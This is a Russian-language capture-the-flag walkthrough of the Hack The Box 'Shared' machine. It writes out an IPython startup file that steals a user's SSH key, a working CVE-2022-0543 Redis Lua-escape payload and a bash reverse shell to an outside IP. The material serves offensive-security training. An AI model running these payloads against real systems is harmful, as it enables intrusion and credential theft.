В этой статье, на примере уязвимой машины Hack The Box Shared, я покажу, как повысить привилегии через уязвимость в Redis.
Еще по теме: Повышение привилегий при пентесте AWS S3 Buckets
Как повысить привилегии через уязвимость в Redis
Допустим мы получили доступ к хосту, теперь нам нужно собрать информацию. Я для этого использую скрипты PEASS.
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате.
Загрузим на локальный хост скрипт для Linux, дадим право на выполнение chmod +x linpeas.sh и выполним. В выводе будет много информации, но меня заинтересовало то, что есть файл, доступный для записи группе разработчиков, в которой мы состоим.
Ничего полезного тут нет, поэтому продолжим разведку и отследим запускаемые процессы. Для этого я рекомендую pspy64. Загрузим его на хост тем же способом, что и linpeas, а потом выполним. В выводе отмечаем запуск ipython из найденного ранее каталога. Что более интересно, он запускается в контексте пользователя с UID 1001.
Определить целевого пользователя можно через файл:
1 |
/etc/passwd. Это dan_smith |
Порывшись в интернете, я нашел эксплоит для IPython! Он произвольно выполняет в текущем каталоге файл:
1 |
profile_default/startup/foo.py |
Создадим его по нужному пути:
1 |
/opt/scripts_review/profile_default/startup/foo.py |
И положим внутрь такую строчку:
1 |
import os; os.system("cat /home/dan_smith/.ssh/id_rsa > /dev/shm/key") |
Так мы попробуем сохранить приватный ключ пользователя в файл:
1 |
/dev/shm/key |
Периодически проверяем, не появился ли он, и через какое‑то время получаем ключ.
Подключаемся по SSH и забираем первый флаг.
Локальное повышение привилегий
Снова используем PEASS и с его помощью обнаруживаем следующее.
В системе есть приложение redis_connector_dev, доступное группе sysadmin, членом которой является наш пользователь.
В списке прослушиваемых портов есть порт службы Redis — 6379.
Если выполнить найденное приложение, то увидим, что оно подключается к серверу, а значит, внутри у него нужные учетные данные.
Скопируем файл на локальный хост с помощью SSH.
1 |
scp -i id_rsa dan_smith@shared.htb:/usr/local/bin/redis_connector_dev ./ |
Затем откроем листенер на порте 6379, чтобы отобразить полученные данные. А когда все будет готово, запустим приложение.
В последней строке логов видим пароль для подключения к Redis.
Redis RCE
Redis — резидентная система управления базами данных класса NoSQL с открытым исходным кодом, работающая со структурами данных типа «ключ — значение». Используется как для баз данных, так и для реализации кешей, брокеров сообщений. Из последних уязвимостей я вспомнил CVE-2022-0543. Дело в том, что из‑за проблемы с упаковкой СУБД Redis подвержена выходу из песочницы Lua, а это может привести к удаленному выполнению кода (RCE). В данном случае еще и с высокими привилегиями.
Подключимся к Redis и авторизуемся:
1 2 |
redis-cli auth F2WHqJUz2WEz=Gqq |
Теперь попробуем с помощью следующей нагрузки выполнить команду id.
1 |
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0 |
Команда выполнена, и, как мы видим, в контексте пользователя root. Теперь запустим реверс‑шелл:
1 |
bash -i >& /dev/tcp/10.10.14.84/4321 0>&1 |
Я записал его в файл:
1 |
/dev/shm/r.sh |
Перед выполнением активируем листенер:
1 |
pwncat_cs -lp 4321 |
1 2 |
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("cat /dev/shm/r.sh | bash", "r"); local res = f:read("*a"); f:close(); r eturn res' 0 |
Машина захвачена!
РЕКОМЕНДУЕМ: